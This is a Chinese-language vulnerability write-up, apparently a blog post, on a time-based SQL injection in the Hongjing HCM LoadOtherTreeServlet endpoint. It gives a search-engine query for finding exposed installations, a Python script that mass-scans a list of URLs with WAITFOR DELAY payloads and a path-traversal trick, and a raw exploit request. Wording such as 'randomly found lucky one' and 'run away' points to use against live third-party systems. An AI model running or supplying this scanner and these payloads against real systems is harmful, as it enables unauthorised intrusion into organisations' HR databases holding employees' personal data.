声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
一、漏洞描述
宏景HCM人力资源信息管理系统是一个全面的人力资源管理软件,它覆盖了人力资源管理的各个模块。该系统旨在帮助企事业单位建立高效的组织,促进组织的健康发展,并增强组织的软实力。然而,该系统的LoadOtherTreeServlet接口存在安全问题,因为它没有对传入的数据进行预编译和充分的验证,这导致了SQL注入漏洞的存在。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索:app.name="宏景 HCM"
2.使用poc批量扫描
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarningRED = '\033[91m' # 定义红色字体的ANSI转义码
RESET = '\033[0m' # 定义重置颜色的ANSI转义码
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_vulnerability(url):try:# 构造完整的攻击URLattack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""headers = {'Content-Type': 'application/x-www-form-urlencoded'}start_time = time.time() # 记录开始时间response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10) # 发送POST请求elapsed_time = time.time() - start_time # 计算请求耗时if 4 < elapsed_time < 6: # 如果耗时在4到6秒之间,可能存在漏洞print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout: # 捕获超时异常print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e: # 捕获其他请求异常print(f"URL [{url}] 请求失败: {e}")def main():parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()if args.url: # 如果提供了单个URL参数if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)elif args.file: # 如果提供了包含多个URL的文件参数with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()
cmd运行:python poc.py -f url.txt
随机寻找的幸运儿
三、漏洞复现
1.构造数据包
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
2.数据包分析
- 请求方法:GET
- 请求路径:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
- HTTP版本:HTTP/1.1
- Host头:ip(目标服务器的IP地址)
- User-Agent头:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客户端使用的浏览器和操作系统信息)
- Accept头:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客户端接受的内容类型及其优先级)
- Accept-Language头:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客户端接受的语言及其优先级)
- Accept-Encoding头:gzip, deflate, br(表示客户端接受的编码方式)
- Connection头:close(表示请求完成后关闭连接)
/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解码后,URL路径变为:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet
请求还包含以下参数:
- modelflag=4:可能是用于指定某种模式或配置的标志。
- budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被设置为1,后面跟着一段SQL语句(WAITFOR DELAY '0:0:4'),如果SQL语句被正常执行则延时4秒
3.结束跑路
执行成功,延时1秒。
执行成功,延时4秒。
每篇一言:风月折断杨柳枝,琴瑟朝露挥掷成诗。